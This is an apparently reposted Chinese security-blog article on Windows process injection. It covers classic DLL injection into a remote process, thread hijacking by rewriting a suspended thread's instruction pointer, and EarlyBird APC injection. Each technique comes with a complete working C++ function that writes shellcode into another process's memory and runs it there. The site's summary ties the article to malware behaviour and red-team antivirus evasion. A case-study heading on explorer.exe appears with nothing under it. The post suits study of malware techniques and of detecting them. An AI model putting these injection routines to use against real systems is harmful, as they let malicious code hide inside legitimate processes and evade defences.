进程操作技术(下)——进程注入与线程劫持

admin 2026-04-26 04:33:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了三种核心进程注入技术:经典DLL注入通过在目标进程中分配内存并创建远程线程加载恶意DLL;线程劫持通过暂停目标线程、修改指令指针RIP来执行shellcode;EarlyBirdAPC注入则在创建挂起进程的主线程中插入APC实现先于主程序执行恶意代码。文章提供了完整的C++代码实现与实战案例,适合安全研究人员深入理解恶意软件行为机理与红队免杀技术。 综合评分: 72 文章分类: 二进制安全,免杀,红队,漏洞分析,安全开发


cover_image

进程操作技术(下)——进程注入与线程劫持

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年3月24日 08:30 广东

在小说阅读器读本章

去阅读

一、前言概述

在上篇文章中,我们学习了进程镂空技术。本课将继续深入探讨进程操作技术,重点介绍进程注入、线程劫持和EarlyBird APC注入等技术。这些技术是现代恶意软件和红队工具的核心组成部分,理解它们对于攻防双方都至关重要。

二、相关内容

2.1 进程注入(Process Injection)

2.1.1 技术原理

进程注入是将恶意代码注入到一个正在运行的合法进程中,以利用其权限和信誉,隐藏恶意行为。

2.1.2 经典DLL注入

流程:

1. 打开目标进程 OpenProcess()
2. 在目标进程中分配内存 VirtualAllocEx()
3. 写入DLL路径 WriteProcessMemory()
4. 获取LoadLibrary地址 GetProcAddress()
5. 创建远程线程 CreateRemoteThread()
6. 等待线程完成 WaitForSingleObject()

代码实现:

void ClassicDLLInjection(DWORD pid, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    SIZE_T pathLen = strlen(dllPath) + 1;
    LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, pathLen,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProcess, remoteMemory, dllPath, pathLen, NULL);

    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPVOID pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                         (LPTHREAD_START_ROUTINE)pLoadLibrary,
                                         remoteMemory, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
}

2.2 线程劫持(Thread Hijacking)

原理:

  • 暂停目标线程
  • 保存线程上下文
  • 修改指令指针指向恶意代码
  • 恢复线程执行

代码实现:

void ThreadHijacking(DWORD pid, DWORD tid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    SuspendThread(hThread);

    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);

    LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL);

    ctx.Rip = (DWORD64)remoteMemory;
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
}

2.3 EarlyBird APC注入

原理:

  • 创建挂起的进程
  • 在进程的主线程中插入APC
  • 恢复线程时,APC会先于主程序执行

代码实现:

void EarlyBirdAPCInjection(const char* targetProcess, unsigned char* shellcode, SIZE_T shellcodeSize) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    CreateProcessA(NULL, (LPSTR)targetProcess, NULL, NULL, FALSE,
                   CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, shellcodeSize, NULL);

    QueueUserAPC((PAPCFUNC)remoteMemory, pi.hThread, 0);
    ResumeThread(pi.hThread);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

2.4 实战案例分析

2.4.1 案例1:经典DLL注入到explorer.exe


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《进程操作技术(下)——进程注入与线程劫持》

评论:0   参与:  0